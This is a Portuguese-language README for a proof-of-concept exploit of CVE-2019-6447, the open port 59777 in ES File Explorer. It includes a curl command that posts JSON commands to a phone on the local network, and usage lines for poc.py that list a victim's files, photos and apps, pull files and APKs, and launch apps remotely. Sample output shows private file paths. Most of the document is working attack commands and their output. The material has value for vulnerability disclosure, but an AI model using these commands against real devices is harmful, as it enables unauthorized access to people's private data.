Vulnerabilidade de Porta Aberta no ES File Explorer - CVE-2019-6447

Conforme a descrição na Google Play:

O ES File Explorer (Gerenciador de Arquivos) é um gerenciador de arquivos completo (Imagens, Músicas, Filmes, Documentos, aplicativos) para uso local e em rede! Com mais de 500 milhões de usuários em todo o mundo, o ES File Explorer (Gerenciador de Arquivos) ajuda a gerenciar seu telefone Android e arquivos de forma eficiente e eficaz, além de compartilhar arquivos sem custo de dados.

Toda vez que um usuário inicia o aplicativo, um servidor HTTP é iniciado. Esse servidor abre localmente a porta 59777:

angler:/ # netstat -ap | grep com.estrongs
tcp6       0      0 :::59777                :::*                    LISTEN      5696/com.estrongs.android.pop

Nesta porta, um invasor pode enviar um payload JSON para o alvo

curl --header "Content-Type: application/json" --request POST --data '{"command":"[my_awesome_cmd]"}' http://192.168.0.8:59777

Esses comandos permitem que um invasor conectado na mesma rede local que a vítima obtenha muitas informações interessantes (informações do dispositivo, aplicativos instalados, ...) sobre o telefone da vítima, obtenha remotamente um arquivo do telefone da vítima e inicie remotamente um aplicativo no telefone da vítima.

Versões Afetadas

4.1.9.7.4 e anteriores

Recursos do POC

Com o seguinte Proof Of Concept (POC), você pode:

Listar todos os arquivos no sdcard do dispositivo da vítima
Listar todas as imagens no dispositivo da vítima
Listar todos os vídeos no dispositivo da vítima
Listar todos os arquivos de áudio no dispositivo da vítima
Listar todos os aplicativos instalados no dispositivo da vítima
Listar todos os aplicativos do sistema instalados no dispositivo da vítima
Listar todos os aplicativos de telefone instalados no dispositivo da vítima
Listar todos os arquivos apk armazenados no sdcard do dispositivo da vítima
Listar todos os aplicativos instalados no dispositivo da vítima
Obter informações do dispositivo da vítima
Obter um arquivo do dispositivo da vítima
Iniciar um aplicativo de sua escolha
Obter o ícone de um aplicativo de sua escolha

Demonstração

Como Usar

$ python poc.py -g /sdcard/Android/media/com.google.android.talk/Ringtones/hangouts_incoming_call.ogg

$ python poc.py --cmd appPull --pkg com.tencent.mm

$ python poc.py --cmd getAppThumbnail --pkg com.tencent.mm

$ python poc.py --cmd appLaunch --pkg com.tencent.mm
{"result":"0"}

$ python poc.py --cmd getDeviceInfo
{"name":"Nexus 6P", "ftpRoot":"/sdcard", "ftpPort":"3721"}

$ python poc.py --cmd listAppsAll
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"},
{"packageName":"com.android.cts.priv.ctsshim", "label":"com.android.cts.priv.ctsshim", "version":"8.1.0-4396705", "versionCode":"27", "location":"/system/priv-app/CtsShimPrivPrebuilt/CtsShimPrivPrebuilt.apk", "size":"22744", "status":"null", "mTime":"1230796800000"}

$ python poc.py --cmd listAppsPhone
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"}

$ python poc.py --cmd listAppsSystem
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"}

$ python poc.py --cmd listApps
{"packageName":"com.google.android.youtube", "label":"YouTube", "version":"13.50.52", "versionCode":"1350523400", "location":"/data/app/com.google.android.youtube-hg9X1FaylPbUXO1SaiFtkg==/base.apk", "size":"36860368", "status":"com.google.android.apps.youtube.app.application.backup.YouTubeBackupAgent", "mTime":"1545337705957"}

$ python poc.py --cmd listAppsSdcard

$ python poc.py --cmd listAudios
{"name":"hangouts_incoming_call.ogg", "time":"10/17/18 11:33:16 PM", "location":"/storage/emulated/0/Android/media/com.google.android.talk/Ringtones/hangouts_incoming_call.ogg", "duration":5000, "size":"74.63 KB (76,425 Bytes)", }

$ python poc.py --cmd listPics
{"name":"mmexport1546422097497.jpg", "time":"1/2/19 10:41:37 AM", "location":"/storage/emulated/0/tencent/MicroMsg/WeChat/mmexport1546422097497.jpg", "size":"38.80 KB (39,734 Bytes)", }

$ python poc.py --cmd listVideos

$ python poc.py --cmd listFiles

$ python poc.py --cmd listFiles --network 192.168.1.

$ python poc.py --cmd listFiles --ip 192.168.4.17

$ python poc.py list

######################
# Available Commands #
######################

listFiles: List all the files
listPics: List all the pictures
listVideos: List all the videos
listAudios: List all the audio files
listApps: List all the apps installed
listAppsSystem: List all the system apps
listAppsPhone: List all the phone apps
listAppsSdcard: List all the apk files in the sdcard
listAppsAll: List all the apps installed (system apps included)
getDeviceInfo: Get device info
appPull: Pull an app from the device. Package name parameter is needed
appLaunch: Launch an app. Package name parameter is needed
getAppThumbnail: Get the icon of an app. Package name parameter is needed

Contato

Siga-me no Twitter! Você também pode encontrar uma pequena parte do meu trabalho em https://fs0c131y.com

Créditos

Seguindo uma dica de @moonbocal, a investigação e o POC foram feitos com ❤️ por @fs0c131y

Mais Populares

ESFileExplorerOpenPortVuln